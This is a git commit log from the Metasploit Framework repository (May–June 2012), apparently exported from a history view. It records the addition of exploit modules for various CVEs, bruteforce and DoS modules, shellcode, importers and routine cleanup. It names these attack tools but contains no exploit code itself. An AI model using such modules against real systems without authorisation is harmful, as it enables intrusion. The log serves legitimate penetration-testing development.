HD Moore 16dafee2c1 Adds jcran's MySQL bruteforce and dump module for CVE-2012-2122 2012-06-11 01:41:14 -05:00
sinn3r 93a2e29ed7 Merge branch 'darkoperator-skype_enum' 2012-06-11 01:41:01 -05:00
HD Moore bbd500aca9 Show a stack trace in auxiliary timeouts [ temp ] 2012-06-11 01:40:57 -05:00
sinn3r d226d80919 Make msftidy happy 2012-06-11 01:34:18 -05:00
sinn3r 2847ed9c43 Merge branch 'skype_enum' of https://github.com/darkoperator/metasploit-framework into darkoperator-skype_enum 2012-06-11 01:28:13 -05:00
Carlos Perez bb80124d63 Added support for shell and tested on OSX 10.6 and 10.7. Added additional session type checks. 2012-06-10 21:59:14 -04:00
sinn3r b8b2f2bfce Merge branch 'master' into fusionvm-import 2012-06-10 18:25:01 -05:00
HD Moore d975d1a236 Add counter caches for host_details, vuln_details, vuln_attempts 2012-06-10 17:15:53 -05:00
David Maloney fc0dc23752 Some handling around empty elements 2012-06-10 17:04:47 -05:00
David Maloney a20c85a655 Remove binding.pry call 2012-06-10 17:01:31 -05:00
David Maloney f9999a3033 Add FusiuonVM Importer
This adds a nokogiri stream parser for XML reports from
Critical Watch's FusionVM.
2012-06-10 16:38:28 -05:00
jvazquez-r7 b908ccff0f Added module for CVE-2012-0297 2012-06-10 22:38:58 +02:00
sinn3r 74c6eb6f78 Change the title and add a Microsoft reference.
This is a MS bug, therefore it's important to point out which
bulletin it belongs to.
2012-06-10 14:45:15 -05:00
sinn3r efcb206cdf Correct a typo 2012-06-10 14:38:14 -05:00
HD Moore 881ec8d920 Make the description clear that it only reads 4k, default datastore['FD'] to 1 2012-06-10 13:20:02 -05:00
HD Moore 03004645f0 Make the description clear that it only reads 4k, default datastore['FD'] to 1 2012-06-10 13:19:22 -05:00
HD Moore beefea6fb9 Merge branch 'master' into feature/vuln-info 2012-06-10 12:54:58 -05:00
HD Moore 4f55452153 This adds import/export support for vuln_attempts 2012-06-10 12:50:59 -05:00
HD Moore 9dcb3059f8 MDM update 2012-06-10 03:46:58 -05:00
HD Moore 7c8cb2d79e Add vuln_attempts, track exploit attempts when a matching vuln exists.
This also fixes an issue with report_vuln() from exploited hosts not
setting the service correctly. This introduces a fail_reason method
to the exploit base class, which attempts to determine why an exploit
did not work (closed port, unreachable host, missing page, etc). There
is still quite a bit of work to do around this to finish it up.
2012-06-10 03:15:48 -05:00
sinn3r 15fa178a66 Add the MSF license text (since MSF_LICENSE is already set) 2012-06-10 02:07:27 -05:00
sinn3r c7546638f2 Merge branch 'master' of https://github.com/linuxgeek247/metasploit-framework into linuxgeek247-master 2012-06-10 01:58:00 -05:00
sinn3r 498f3323f3 Merge branch 'ms12_005' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ms12_005 2012-06-10 01:53:46 -05:00
sinn3r 8f6457661d Change description 2012-06-10 01:52:26 -05:00
sinn3r 4743c9fb33 Add MS12-005 (CVE-2012-0013) exploit 2012-06-10 01:08:28 -05:00
linuxgeek247 2b67c5132c Adding read_file linux shellcode 2012-06-09 20:36:47 -04:00
jvazquez-r7 f0082ba38f Added module for CVE-2012-0299 2012-06-09 22:27:27 +02:00
Michael Schierl b4d33fb85a Add ARCH_JAVA support to struts_code_exec_exception_delegator 2012-06-09 21:53:43 +02:00
HD Moore 55bdbb6ec9 Merge branch 'master' into feature/vuln-info 2012-06-09 01:37:11 -05:00
HD Moore e840f7e9ee Add additional host detail columns and parsers 2012-06-09 00:43:03 -05:00
HD Moore dabda58f17 Import host_details and vuln_details now 2012-06-08 23:27:02 -05:00
HD Moore 465998bc17 Export host_details and vuln_details, add missing refs to db_export 2012-06-08 22:55:55 -05:00
HD Moore 376aaa410b Fix tag deuplication and reset after each vuln properly 2012-06-08 22:55:37 -05:00
jvazquez-r7 a9ee2b3480 Use of make_nops 2012-06-08 19:20:58 +02:00
jvazquez-r7 91f5f304cb Added module for CVE-2011-2217 2012-06-08 18:10:20 +02:00
sinn3r 3726ddddac Software name correction thanks to modpr0be 2012-06-08 07:07:19 -05:00
sinn3r 3d5a519a2f Merge branch 'shellwords-is-stupid' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-shellwords-is-stupid 2012-06-08 02:08:43 -05:00
sinn3r 41d49ed553 Another badchar analysis. Allow shorter delay (5sec to 1) 2012-06-08 01:59:09 -05:00
James Lee 1be9ce8649 Fixes command parsing in Post::Common
The meterpreter API wants arguments in a seperate string (not an array,
mind you) just so it can concatenate them on the server side.
Originally, I worked around that by using Shellwords.shellwords to pull
out the first token. But! Shellwords.shellwords inexplicably and
inexcusably removes backslashes in ways that make it impossible to quote
things on Windows. This commit works around both of those things.
2012-06-07 22:24:59 -06:00
sinn3r e5b451c000 Too many tabs for the beginning of the description 2012-06-07 23:08:11 -05:00
sinn3r 520c0ca660 Make msftidy happy 2012-06-07 23:07:39 -05:00
sinn3r 61f5eddf47 Move winlog file 2012-06-07 23:03:30 -05:00
sinn3r 9adec7e7e7 Merge branch 'winlog-2.07.14' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-winlog-2.07.14 2012-06-07 23:02:23 -05:00
sinn3r 83d21df9f6 Merge branch 'master' of https://github.com/darkoperator/metasploit-framework into darkoperator-master 2012-06-07 22:58:50 -05:00
HD Moore d393dbb28f MDM update 2012-06-07 21:27:41 -05:00
sinn3r a709fe1fe3 Fix regex escaping thanks to w3bd3vil 2012-06-07 16:00:59 -05:00
sinn3r 33e6bdedee Merge pull request #459 from rsmudge/armitage
Armitage 06.07.12
2012-06-07 10:52:49 -07:00
sinn3r 1eb73dec38 Merge branch 'aushack-master' 2012-06-07 12:17:49 -05:00
sinn3r 42795fec00 Get rid of some whitespace 2012-06-07 12:17:25 -05:00
Raphael Mudge 68dd0cd497 Armitage 06.07.12 - improved collaboration performance and fixed two bugs. 2012-06-07 13:16:16 -04:00
sinn3r e12cce775e Merge branch 'master' of https://github.com/aushack/metasploit-framework into aushack-master 2012-06-07 10:00:05 -05:00
jvazquez-r7 bd714017bb samsung_neti_wiewer: add Space property for Payload 2012-06-07 16:00:36 +02:00
Patrick Webster 0e20d324b8 Added ms02_065_msadc exploit module. 2012-06-07 21:02:13 +10:00
jvazquez-r7 2f3b1effb9 Added module for OSVDB 81453 2012-06-07 12:47:09 +02:00
HD Moore 49b3c9b0e8 More cleanup related to vuln schema 2012-06-07 04:42:16 -05:00
HD Moore 42c3bedfad Merge MDM, add migrations, tweak report_vuln 2012-06-07 00:40:26 -05:00
HD Moore e8af6882eb Permissions 2012-06-06 20:05:29 -05:00
James Lee a2751e3ccd Rdoc fixes 2012-06-06 17:04:54 -06:00
Carlos Perez b004f35354 Change failure of loading gem message to be in par with other gem error messages in the framework, also date is better represented in the CSV with UTC value 2012-06-06 16:28:42 -04:00
sinn3r 28fe4c0be5 What's this break stuff?
"break" should be "return"
2012-06-06 11:21:35 -05:00
sinn3r a54b14b192 Remove whitespace 2012-06-06 11:21:34 -05:00
Patrick Webster c36ab97d41 Updated msadc exploit with fixes. 2012-06-06 11:21:34 -05:00
Patrick Webster f25b828d31 Added exploit module msadc.rb 2012-06-06 11:21:34 -05:00
sinn3r 2b3d48f2a0 What's this break stuff?
"break" should be "return"
2012-06-06 11:15:07 -05:00
sinn3r 6d0dbcb106 Remove whitespace 2012-06-06 11:10:05 -05:00
Joe Vennix 251ed30e03 Rollback rails to 3.2.2 to fix asset pipeline issues. 2012-06-06 11:08:39 -05:00
Joe Vennix a20cec75cc Rollback activerecord to 3.2.2 to prevent asset inclusion issues. 2012-06-06 11:08:39 -05:00
Tod Beardsley 34be642f84 msftidy found EOL spaces on new modules 2012-06-06 10:42:10 -05:00
sinn3r bedfd6f9eb Merge branch 'master' of https://github.com/aushack/metasploit-framework into aushack-master 2012-06-06 10:07:21 -05:00
sinn3r 698e2eab68 Fix nil res when vprints 2012-06-06 09:53:19 -05:00
Patrick Webster 37ee717301 Updated msadc exploit with fixes. 2012-06-06 18:36:20 +10:00
m-1-k-3 f4f023cbfb add BID 2012-06-06 09:44:16 +02:00
sinn3r 72cdd67cd0 Remove function cleanup()
There is no point of having this function, because there's nothing
in it.
2012-06-06 00:54:04 -05:00
sinn3r 462a91b005 Massive whitespace destruction
Remove tabs at the end of the line
2012-06-06 00:44:38 -05:00
sinn3r 3f0431cf51 Massive whitespace destruction
Remove whitespace found at the end of the line
2012-06-06 00:36:17 -05:00
sinn3r c30af98b53 Massive whitespace destruction
Remove all the lines that have nothing but whitespace
2012-06-06 00:22:36 -05:00
Carlos Perez b302f50dbe Initial version of the module supporting Windows and OSX 2012-06-05 19:11:30 -04:00
sinn3r f438e6c121 Remove the 'Rop' key because we don't really use it 2012-06-05 16:07:23 -05:00
sinn3r f9651be88e Merge branch 'ms11_093_ole32' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ms11_093_ole32 2012-06-05 15:44:13 -05:00
sinn3r 37846c0de2 Handle get_once return value correctly 2012-06-05 15:40:49 -05:00
sinn3r b6f591718a Change recv to get_once 2012-06-05 15:40:20 -05:00
sinn3r bc91135808 Correct description 2012-06-05 15:32:41 -05:00
sinn3r 19e187e88e Correct the description 2012-06-05 15:08:43 -05:00
sinn3r 28511cf666 Title change, use get_once instead of recv. Add a reference. 2012-06-05 15:06:05 -05:00
sinn3r 1c99119ecd Remove the version key, and correct spacing 2012-06-05 13:53:11 -05:00
sinn3r 8f5759ac13 Move these SCADA modules to SCADA folder 2012-06-05 13:50:53 -05:00
sinn3r 215e0e48a0 Fix Modbus version scanner's format 2012-06-05 11:47:44 -05:00
sinn3r 50243a9679 Add Metasploit license disclaimer since it has a MSF_LICENSE 2012-06-05 11:36:45 -05:00
sinn3r 30ceb98d87 Merge branch 'modbus-auxil' of https://github.com/esmnemon/metasploit-framework into esmnemon-modbus-auxil 2012-06-05 11:35:10 -05:00
sinn3r a3048c7ae8 Clear whitespace 2012-06-05 11:28:47 -05:00
jvazquez-r7 a30f104ee6 Fix space on Authors 2012-06-05 18:23:57 +02:00
jvazquez-r7 93741770e2 Added module for CVE-2011-3400 2012-06-05 18:21:55 +02:00
m-1-k-3 95d949e860 sleep and at 2012-06-05 18:08:46 +02:00
0a2940 dc6b2f4205 merged unstable-modules/exploits/incomplete/linux/ids/snortdcerpc.rb with exploits/windows/ids/snort_dce_rpc.rb 2012-06-05 04:14:40 -07:00
Patrick Webster 73190f6680 Added exploit module msadc.rb 2012-06-05 18:09:07 +10:00
sinn3r b282901b08 Correct emails for aux and exploit modules 2012-06-04 21:58:01 -05:00
sinn3r dad4d8e4be Merge branch 'nil_res' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-nil_res 2012-06-04 21:38:23 -05:00
James Lee fc7293baae Arguments have to be joined with a space
Fixes cmd_exec() calls with more than one argument
2012-06-04 18:12:45 -06:00
sinn3r d9c39d3798 Fix the rest of nil res from get_once 2012-06-04 17:26:15 -05:00
David Maloney 7be365c299 Ignores SMTP Auth when no creds provided
Do not try to auth if the suer provided no creds
2012-06-04 16:41:36 -05:00
sinn3r 0fcc53b0a2 Handle nil for get_once 2012-06-04 15:31:10 -05:00
HD Moore f633281870 Straighten out the login error path for nexpose API calls 2012-06-04 15:21:04 -05:00
sinn3r a071d2805e Fix the rest of possible nil res bugs I've found 2012-06-04 14:56:27 -05:00
sinn3r 01803c4a33 Fix possible nil res. Bug #6939. Part 1. 2012-06-04 13:11:47 -05:00
m-1-k-3 0acbd99e71 targets 2012-06-04 20:08:58 +02:00
m-1-k-3 08ff6c72b1 winlog_lite_2.07.14 initial commit 2012-06-04 17:24:01 +02:00
Carlos Perez b9e7af6bcd fixes to OSX modules as requested by egypt on redmine ticket and fixes to the remote desktop post modules 2012-06-04 10:56:40 -04:00
Steve Tornio 0759c3b75c Adding swtornio's OSVDB ref
Watch the trailing commas, that wangs up Ruby 1.8.7 and prior.

Squashed commit of the following:

commit c00363993a726cd0c87fbaee769c44f680feff72
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Jun 4 09:33:18 2012 -0500

    Removing trailing comma

commit 594cae0cab
Author: Steve Tornio <swtornio@gmail.com>
Date:   Mon Jun 4 09:10:36 2012 -0500

    add osvdb ref
2012-06-04 09:34:28 -05:00
jvazquez-r7 b53a1396fc Use of TARGETURI 2012-06-03 22:36:23 +02:00
jvazquez-r7 659b030269 Verbose messages cleanup 2012-06-03 22:29:31 +02:00
jvazquez-r7 34f42bab17 Fix typo in the URI param 2012-06-03 22:14:13 +02:00
jvazquez-r7 efe4136e5b Added module for CVE-2012-0391 2012-06-03 22:08:31 +02:00
sinn3r 2565888ec5 Change how we handle the password complexity failure 2012-06-03 13:13:44 -05:00
sinn3r 11e6a09cb0 Merge branch 'adduser_tabs' of https://github.com/ChrisJohnRiley/metasploit-framework into ChrisJohnRiley-adduser_tabs 2012-06-03 12:31:46 -05:00
Chris John Riley a51df5fc3a Altered description to include information on the password complexity check
Altered the default password to meet the complexity checks

Note: The complexity checks (even if they fail) don't prevent the payload from running. At this point it only raises an warning and continues on. I can change this if it's more desirable however!
2012-06-03 09:22:48 +02:00
sinn3r 86d20b2de1 Merge branch 'adduser_tabs' of https://github.com/ChrisJohnRiley/metasploit-framework into ChrisJohnRiley-adduser_tabs 2012-06-02 20:27:16 -05:00
sinn3r 1817942aae Merge branch 'logcms_writeinfo' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-logcms_writeinfo 2012-06-02 17:43:51 -05:00
sinn3r 7bb36bfbde Fix typo thanks to juan 2012-06-02 16:57:53 -05:00
sinn3r 7e318e9787 Merge branch 'logcms_writeinfo' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-logcms_writeinfo 2012-06-02 14:14:56 -05:00
Chris John Riley ea66deb779 Added WMIC and complexity checks 2012-06-02 19:41:12 +02:00
Chris John Riley bada88cdf0 Added WMIC and complexity checks 2012-06-02 19:38:37 +02:00
Christian Mehlmauer 3752c10ccf Adding FireFart's RPORT(80) cleanup
This was tested by creating a resource script to load every changed
module and displaying the options, like so:

````
use auxiliary/admin/2wire/xslt_password_reset
show options
use auxiliary/admin/http/contentkeeper_fileaccess
show options
````

...etc. This was run in both the master branch and FireFart's branch
while spooling out the results of msfconsole, then diffing those
results. All modules loaded successfully, and there were no changes to
the option sets, so it looks like a successful fix.

Thanks FireFart!

Squashed commit of the following:

commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Fri May 25 22:09:42 2012 +0200

    Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
2012-06-02 09:53:19 -05:00
sinn3r 59468846e3 Change filename 2012-06-02 01:51:20 -05:00
sinn3r 522991f351 Correct name 2012-06-02 01:49:43 -05:00
sinn3r 7fd3644b8b Add CVE-2011-4825 module 2012-06-01 18:45:44 -05:00
Christian Mehlmauer 6ae17db7d3 Adding FireFart's hashcollision DoS module
Have some minor edits below, looks like it all works now though.

Squashed commit of the following:

commit b7befd4889f12105f36794b1caca316d1691b335
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:31:32 2012 -0500

    Removing ord in favor of unpack.

    Also renaming a 'character' variable to 'c' rather than 'i' which is
    easy to mistake for an Integer counter variable.

commit e80f6a5622df2136bc3557b2385822ba077e6469
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:24:41 2012 -0500

    Cleaning up print msgs

commit 5fd65ed54cb47834dc646fdca8f047fca4b74953
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:19:10 2012 -0500

    Clean up hashcollision_dos description

    Caps, mostly. One sentence I still don't get but it's not really a show
    stopper.

commit bec0ee43dc9078d34a328eb416970cdc446e6430
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Thu May 24 19:11:32 2012 +0200

    Removed RPORT, ruby 1.8 safe, no case insensitive check, error handling

commit 20793f0dfd9103c4d7067a71e81212b48318d183
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Tue May 22 23:11:53 2012 +0200

    Hashcollision Script (again)
2012-06-01 14:51:11 -05:00
Joe Vennix 315d68b6f5 Add fix for counter_cache migration to keep from throwing readonly column error. 2012-06-01 13:31:00 -05:00
Tod Beardsley ced5b9916e Whitespace fix for script-fu module
This is really just to check the GitHub IRC bot thinger.
2012-06-01 12:24:52 -05:00
Joe Vennix c5c1e71b32 Add migrations for counter_cache columns to framework. 2012-06-01 12:07:08 -05:00
sinn3r 353d49d05b Modify the description 2012-06-01 12:04:46 -05:00
jvazquez-r7 abbd8c8cd5 Added module for CVE-2012-2763 2012-06-01 18:53:25 +02:00
David Maloney 92dafd4d17 Bringin in new version of pcanywhere_login 2012-06-01 11:15:12 -05:00
David Maloney 933949a6b0 trying to work around wierd git issue 2012-06-01 11:13:28 -05:00
Samuel Huckins 2e15ecfbd7 MDM Update 2012-06-01 11:01:08 -05:00
sinn3r 9d6fc93ed3 Merge branch 'rubinius-gethostbyname' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-rubinius-gethostbyname 2012-06-01 00:39:52 -05:00
David Maloney 28bf017ca9 Fix nil responses 2012-05-31 23:12:17 -05:00
James Lee 4681ed1c1e Whitespace, thanks msftidy.rb! 2012-05-31 18:18:27 -06:00
James Lee 0def186824 Chdir to TMP before writing files 2012-05-31 17:48:12 -06:00
Samuel Huckins 35543d691d Now only loading MetasploitDataModels when not already loaded and
contained objects not in namespace
[Story #30430877]
2012-05-31 18:11:42 -05:00
James Lee fb1bf0b356 Work around a bug in rubinius 2012-05-31 16:48:34 -06:00
Joe Vennix daf5ae8e4b Updating to Rails 3.2.4.
Among other fixes, this addresses the Rails security advisory
from 5/31/2012:

http://groups.google.com/group/rubyonrails-security/browse_thread/thread/7546a238e1962f59
http://groups.google.com/group/rubyonrails-security/browse_thread/thread/f1203e3376acec0f

Thanks Joe and Trevor!

Squashed commit of the following:

commit d7031cebcc
Author: Joe Vennix <Joe_Vennix@rapid7.com>
Date:   Thu May 31 16:57:29 2012 -0500

    Update activerecord in gemcache to support rails 3.2.4. [#30507689]

commit c7369f6d66
Author: Joe Vennix <Joe_Vennix@rapid7.com>
Date:   Thu May 31 16:53:01 2012 -0500

    Bump rails version.
2012-05-31 17:09:59 -05:00
Tod Beardsley c463bd7c6d Fixing description for citrix module 2012-05-31 16:37:35 -05:00
Tod Beardsley 17e41b2e39 Fixing description for citrix module 2012-05-31 16:36:21 -05:00
Juan Vazquez a0b491355c Merge pull request #436 from jvazquez-r7/citrix_streamprocess_get_footer
Added module for Citrix Provisioning Services 5.6 SP1
2012-05-31 14:35:22 -07:00
Tod Beardsley 02a41afb2b Fixing description for juan's Citrix module 2012-05-31 16:34:13 -05:00
Juan Vazquez 00bb216927 Merge pull request #435 from jvazquez-r7/citrix_streamprocess_get_boot_record_request
Added module for Citrix Streamprocess Opcode 0x40020004 Buffer Overflow
2012-05-31 14:33:20 -07:00
Juan Vazquez ab035e078d Merge pull request #434 from jvazquez-r7/citric_streamprocess_get_objects
Added module for ZDI-12-010
2012-05-31 14:30:08 -07:00
jvazquez-r7 47c5745673 Fixed name module 2012-05-31 23:23:11 +02:00
jvazquez-r7 e324ed5251 Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow 2012-05-31 23:21:43 +02:00
jvazquez-r7 1c11b1b1b7 Added module for Citrix Streamprocess Opcode 0x40020002 Buffer Overflow 2012-05-31 23:17:38 +02:00
jvazquez-r7 b5f5804d94 description updated 2012-05-31 23:14:25 +02:00
jvazquez-r7 198070361b Added module for ZDI-12-010 2012-05-31 22:45:55 +02:00
HD Moore 03b65c6a48 Handle cases where a user-agent was set via headers 2012-05-31 14:59:25 -05:00
HD Moore 2ad17299e2 Handle cisco devices better with ssh logins 2012-05-31 14:59:24 -05:00
David Maloney e93a6ddf83 Adds thelightcosine's pcanywhere module
Adds PCAnywhere bruteforce capabilities

Squashed commit of the following:

commit 5354fd849f0c009c534d7ce18369382dd56de550
Author: David Maloney <DMaloney@rapid7.com>
Date:   Thu May 31 14:35:23 2012 -0500

    Add explicit pack to encrypted header

commit 7911dd309a94df2729c8247c3817cf5de6b99aad
Author: David Maloney <DMaloney@rapid7.com>
Date:   Thu May 31 13:11:19 2012 -0500

    adds pcanywhere_login module
2012-05-31 14:46:26 -05:00
sinn3r 2dbb17ac6e Merge pull request #431 from swtornio/master
add osvdb ref
2012-05-31 08:58:31 -07:00
Steve Tornio 5105c1a4df add osvdb ref 2012-05-31 08:49:58 -05:00
sinn3r 4d94eeb79d Merge pull request #430 from wchen-r7/s40_traversal
Add s40 dir traversal vuln
2012-05-31 02:46:53 -07:00
sinn3r a19583624e Add s40 dir traversal vuln
I can't believe I stayed up all night, and this is all I could find.
2012-05-31 04:43:57 -05:00
Raphael Mudge b5f1554caf Adding rsmudge's Armitage update
Squashed commit of the following:

commit 60be1b2d1d
Author: Raphael Mudge <rsmudge@gmail.com>
Date:   Wed May 30 19:43:07 2012 -0400

    Armitage 05.30.12
    A small collection of bug fixes.
2012-05-30 19:20:14 -05:00
James Lee 1f21ae53fe But not *that* verbose 2012-05-30 16:41:56 -06:00
James Lee 53aece03ef Make meterpreter test a little more verbose 2012-05-30 16:03:01 -06:00
Tod Beardsley 7e6c2f340e Minor updates; added BID, fixed grammar
Modules should not refer to themselves in the first person unless they
are looking for Sarah Connor.
2012-05-30 16:16:41 -05:00
James Lee fd67f7c37c Add cd and pwd to Post::File API
Also changes working dir to /tmp (or %TMP% on Windows) when testing file
stuff.
2012-05-30 13:52:48 -06:00
sinn3r 54e14014c3 Merge pull request #428 from wchen-r7/php_volunteer
Add PHP Volunteer Management System exploit
2012-05-30 09:33:32 -07:00
sinn3r 59ea8c9ab9 Print IP/Port for each message 2012-05-30 11:30:55 -05:00
sinn3r 43dffbe996 If we don't get a new file, we assume the upload failed. This is
possible when we actually don't have WRITE permission to the
'uploads/' directory.
2012-05-30 11:26:06 -05:00
sinn3r efdcda55ef Don't really care about the return value for the last send_request_raw 2012-05-30 11:00:31 -05:00
sinn3r 13ba51db34 Allow the login() function to be a little more verbose for debugging purposes 2012-05-30 10:56:59 -05:00
James Lee b7e26db84e Committing Egypt's README updates
This is all documentation changes -- adds THIRD-PARTY licenses, updates
readme to be more like a readme, and moves the old readme to a COPYING
file.

Note that while this lands pull #388, it skips the Meterpreter changes
that were brought in almost certainly by accident.

Squashed commit of the following:

commit 7125509e8b
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 23 13:12:45 2012 -0600

    Add license info for rkelly and anemone

commit 14367041c3
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 23 12:49:14 2012 -0600

    Add licenses for gemcache stuff to THIRD-PARTY

commit c22138cf24
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 17:24:14 2012 -0600

    Add useful links

commit 47a9df3d54
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:41:21 2012 -0600

    Add copyright notices

commit 687567dfe2
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:28:17 2012 -0600

    Give THIRD-PARTY an md extension

    Should make display on Github nicer

commit e322676413
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:22:55 2012 -0600

    Break licenses for bundled stuff into THIRD-PARTY

commit e6463c6e7f
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 14:06:01 2012 -0600

    Move README to COPYING

commit 8a6a6bb63f
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:53:31 2012 -0600

    Better wording.

commit 5ac46d4f68
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:51:58 2012 -0600

    Add a little more explanitory text to Contributing.

commit 54dab50d98
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:37:09 2012 -0600

    Missed one

commit e23c80f01e
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:36:33 2012 -0600

    Better links

commit 47b944ec65
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:26:12 2012 -0600

    Meh, GFM doesn't like my headings

commit 12a7651e91
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:24:42 2012 -0600

    Initial stab at a better README

commit e3a0d4731b
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 11:59:41 2012 -0600

    LLC -> Inc.

commit 5b32b4245c
Author: James Lee <egypt@metasploit.com>
Date:   Sun May 13 17:50:04 2012 -0600

    Whitespace at EOL

commit e6719f18ab
Author: James Lee <egypt@metasploit.com>
Date:   Sun May 13 17:48:50 2012 -0600

    Only open /dev/null if we need it
2012-05-30 10:42:52 -05:00
sinn3r b81315790d Add PHP Volunteer Management System exploit 2012-05-30 10:38:45 -05:00
David Maloney 1d63cd6f6b Revert " Sets the passive flag on the JtR modules"
This reverts commit e70ccddc9a.
2012-05-29 21:28:23 -05:00
David Maloney 9e7acf3a57 left debug statement in module 2012-05-29 20:23:56 -05:00
David Maloney 5496beebbc fix bad proto name in winscp post mod
The service name would get set as SCP instead of SSH
this screws up bruteforce options later
2012-05-29 18:17:28 -05:00
James Lee 28fddcf18c Use the right path for require 2012-05-29 16:56:00 -06:00
David Maloney e70ccddc9a Sets the passive flag on the JtR modules 2012-05-29 17:16:07 -05:00
David Maloney 54fb6d2f7a Fixes unreal ircd race condition
Handler would exit before finishing staging
2012-05-29 17:16:07 -05:00
sinn3r 2e9658f582 Merge pull request #427 from jvazquez-r7/mplayer_sami_subtitles
Added module for OSVDB 74604
2012-05-29 12:14:11 -07:00
jvazquez-r7 065d3187d3 Added module for OSVDB 74604 2012-05-29 21:10:51 +02:00
sinn3r 826de2dcf0 Merge pull request #423 from brandonprry/openvas_new
Patches for openvas_new importer
2012-05-29 12:10:10 -07:00
sinn3r 8273eee715 Merge pull request #425 from swtornio/master
add osvdb ref
2012-05-29 12:07:58 -07:00
esmnemon c00222b4c2 Added one modbus-scanner and one modbus-client aux-module SCADA 2012-05-29 20:34:33 +02:00
Steve Tornio fe86ab9914 =Add osvdb ref 2012-05-29 13:31:20 -05:00
Brandon Perry e889d93924 missed @state[:bid] 2012-05-28 14:12:09 -05:00
Brandon Perry a3a308f74d fix tabs 2012-05-28 13:56:18 -05:00
Brandon Perry 820d5d2ec7 be a bit more defensive, check to make sur ethe data we think is there is there 2012-05-28 13:53:30 -05:00
sinn3r 300b96a711 Merge pull request #422 from jvazquez-r7/ispvm_xcf_ispxcf
Added module for OSVDB 82000
2012-05-28 10:11:16 -07:00
jvazquez-r7 db5b3c8259 Added module for OSVDB 82000 2012-05-28 08:51:36 +02:00
sinn3r d615e3bcb8 Print target IP/Port when restoring currencies.php 2012-05-28 01:33:45 -05:00
sinn3r 712a21717a Totally forgot about disclosure date, damn it 2012-05-28 01:31:13 -05:00
sinn3r 7c1442c4b4 Merge pull request #421 from wchen-r7/symantec_web_gateway
Add CVE-2012-0297 Symantec Web Gateway
2012-05-27 23:28:59 -07:00
sinn3r 34c93d8e44 Fix check 2012-05-28 00:51:46 -05:00
sinn3r 96d70e5fb6 Add CVE-2012-0297 Symantec Web Gateway 2012-05-27 22:47:39 -05:00
sinn3r 86ba759c07 Oops, I left one more anonymous out. 2012-05-26 15:30:20 -05:00
sinn3r 18c8314d79 Change unknown authors to "Unknown".
Since "Anonymous" has become a well known organization, the meaning of the
term also may cause confusion.  In order to clarify, we correct unknown
authors to simply "Unknown".
2012-05-26 15:23:09 -05:00
sinn3r 8f537653b4 Merge pull request #420 from wchen-r7/quickshare
Add OSVDB-70776 - QuickShare File Share
2012-05-26 01:04:21 -07:00
sinn3r 0b86ceb528 Add OSVDB-70776 2012-05-26 03:00:32 -05:00
jvazquez-r7 e774df5c32 target info plus relocation 2012-05-25 20:16:13 +02:00
jvazquez-r7 c4fad0dea5 module added for OSVDB-73609 2012-05-25 17:18:09 +02:00
sinn3r 7b0fbaed23 Merge pull request #417 from wchen-r7/rabidhamster
Add OSVDB-79007 - RabidHamster R4 Log Entry BoF
2012-05-25 01:11:17 -07:00
sinn3r d595f908fc Add OSVDB-79007 2012-05-25 03:06:28 -05:00
James Lee 7c85a2796a Whitespace cleanup 2012-05-24 17:10:26 -06:00
James Lee 5bf973871c Space at EOF cleanup 2012-05-24 16:28:20 -06:00
James Lee e88501789c Make sure state is initialized
Fixes a stack trace when the xml has osmatch before osclass. Thanks Sean
Carolan for the report!
2012-05-24 10:43:30 -06:00
sinn3r 2a24b14331 Merge pull request #416 from jvazquez-r7/flexnet_lmgrd_bof_rand_text
flexnet_lmgrd_bof rand_text fix
2012-05-24 09:16:55 -07:00
jvazquez-r7 f7224ab306 flexnet_lmgrd_bof rand_text fix 2012-05-24 18:02:25 +02:00
Tod Beardsley 0ecffd22b1 Make domain option requirement more clear 2012-05-24 10:11:08 -05:00
sinn3r c606896122 Multiple fixes and improvements:
* Make session ID configurable based on feature #6894's suggestion.
* Fix a potential bug when res is nil.
* Use print_error() to make the error message more readable.
2012-05-24 02:16:29 -05:00
Tod Beardsley 5004515187 Resolved conflicts merging back from release
Merge branch 'release'

Conflicts:
	lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb
	modules/exploits/windows/license/flexnet_lmgrd_bof.rb
2012-05-24 00:27:41 -05:00
sinn3r 101abb45a1 Merge branch 'bug/4400-postgres-store-loot' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-bug/4400-postgres-store-loot 2012-05-23 20:38:03 -05:00
James Lee 22601180f3 Save the pilfered file as loot 2012-05-23 18:07:13 -06:00
sinn3r ac0d22453a Merge pull request #414 from wchen-r7/apprain
Add CVE-2012-1153
2012-05-23 16:34:30 -07:00
sinn3r 8d837f5d20 Module description update. TARGETURI description update. 2012-05-23 18:33:32 -05:00
sinn3r fab3bfcea1 Add CVE-2012-1153 2012-05-23 17:50:13 -05:00
